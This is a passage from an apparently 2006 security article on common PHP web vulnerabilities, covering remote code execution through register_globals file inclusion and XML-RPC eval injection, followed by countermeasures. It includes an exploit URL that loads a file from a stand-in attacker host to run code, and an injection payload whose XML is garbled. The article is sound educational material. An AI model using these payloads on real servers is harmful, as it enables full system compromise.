Five common Web application vulnerabilities

Five common Web application vulnerabilities
Sumit Siddharth, Pratiksha Doshi 2006-04-28

1. Introduction

"No language can prevent insecure code, although there are language features which could aid or hinder a security-conscious developer."
-Chris Shiflett

This article looks at five common Web application attacks, primarily for PHP applications, and then presents a case study of a vulnerable Website that was found through Google and easily exploited. Each of the attacks we'll cover are part of a wide field of study, and readers are advised to follow the references listed in each section for further reading. It is important for Web developers and administrators to have a thorough knowledge of these attacks. It should also be noted that that Web applications can be subjected to many more attacks than just those listed here.

While most of the illustrated examples in this article will discuss PHP coding due to its overwhelming popularity on the Web, the concepts also apply to any programming language. The attacks explained in this article are:

1. Remote code execution
2. SQL injection
3. Format string vulnerabilities
4. Cross Site Scripting (XSS)
5. Username enumeration

Considering the somewhat poor programming approach which leads to these attacks, the article provides some real examples of popular products that have had these same vulnerabilities in the past. Some countermeasures are offered with each example to help prevent future vulnerabilities and subsequent attacks.

This article integrates some of the critical points found in a number of whitepapers and articles on common Web application vulnerabilities. The goal is to provide an overview of these problems within one short article.
2. Vulnerabilities
2.1 Remote code execution
As the name suggests, this vulnerability allows an attacker to run arbitrary, system level code on the vulnerable server and retrieve any desired information contained therein. Improper coding errors lead to this vulnerability.

At times, it is difficult to discover this vulnerability during penetration testing assignments but such problems are often revealed while doing a source code review. However, when testing Web applications is is important to remember that exploitation of this vulnerability can lead to total system compromise with the same rights as the Web server itself.

Rating: rating4Highly Critical

Previously vulnerable products:
phpbb, Invision Board, Cpanel, Paypal cart, Drupal, and many others

Here we will look at two such types of critical vulnerabilities:

1. Exploiting register_globals in PHP: Register_globals is a PHP setting that controls the availability of "superglobal" variables in a PHP script (such as data posted from a user's form, URL-encoded data, or data from cookies). In earlier releases of PHP, register_globals was set to "on" by default, which made a developer's life easier - but this lead to less secure coding and was widely exploited. When register_globals is set to "on" in php.ini, it can allow a user to initialize several previously uninitialized variables remotely. Many a times an uninitialized parameter is used to include unwanted files from an attacker, and this could lead to the execution of arbitrary files from local/remote locations. For example:

require ($page . ".php");

Here if the $page parameter is not initialized and if register_globals is set to "on," the server will be vulnerable to remote code execution by including any arbitrary file in the $page parameter. Now let's look at the exploit code:

http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt

In this way, the file "http://www.attacker.com/attack.txt" will be included and executed on the server. It is a very simple but effective attack.
2. XMLRPC for PHP vulnerabilities: Another common vulnerability seen under this category of includes vulnerabilities with XML-RPC applications in PHP.

XML-RPC is a specification and a set of implementations that allow software running on disparate operating systems and in different environments to make procedure calls over the Internet. It is commonly used in large enterprises and Web environments. XML-RPC uses HTTP for its transport protocol and XML for data encoding. Several independent implementations of XML-RPC exist for PHP applications.

A common flaw is in the way that several XML-RPC PHP implementations pass unsanitized user input to the eval() function within the XML-RPC server. It results in a vulnerability that could allow a remote attacker to execute code on a vulnerable system. An attacker with the ability to upload a crafted XML file could insert PHP code that would then be executed by the Web application that is using the vulnerable XML-RPC code.

Here is a sample malicious XML file:

<?xml version="1.0"?>

test.method

','')); phpinfo(); exit;/*

The above XML file, when posted to the vulnerable server, will cause the phpinfo() function call to be executed on the vulnerable server, in this case a simple example that reveals various details about the PHP installation.

Here is a list of software which have previously possessed this style of bug:
Drupal, Wordpress, Xoops, PostNuke, phpMyFaq, and many others

Countermeasures:

1. More recent PHP versions have register_globals set to off by default, however some users will change the default setting for applications that require it. This register can be set to "on" or "off" either in a php.ini file or in a .htaccess file. The variable should be properly initialized if this register is set to "on." Administrators who are unsure should question application developers who insist on using register_globals.
2. It is an absolute must to sanitize all user input before processing it. As far as possible, avoid using shell commands. However, if they are required, ensure that only filtered data is used to construct the string to be executed and make sure to escape the output.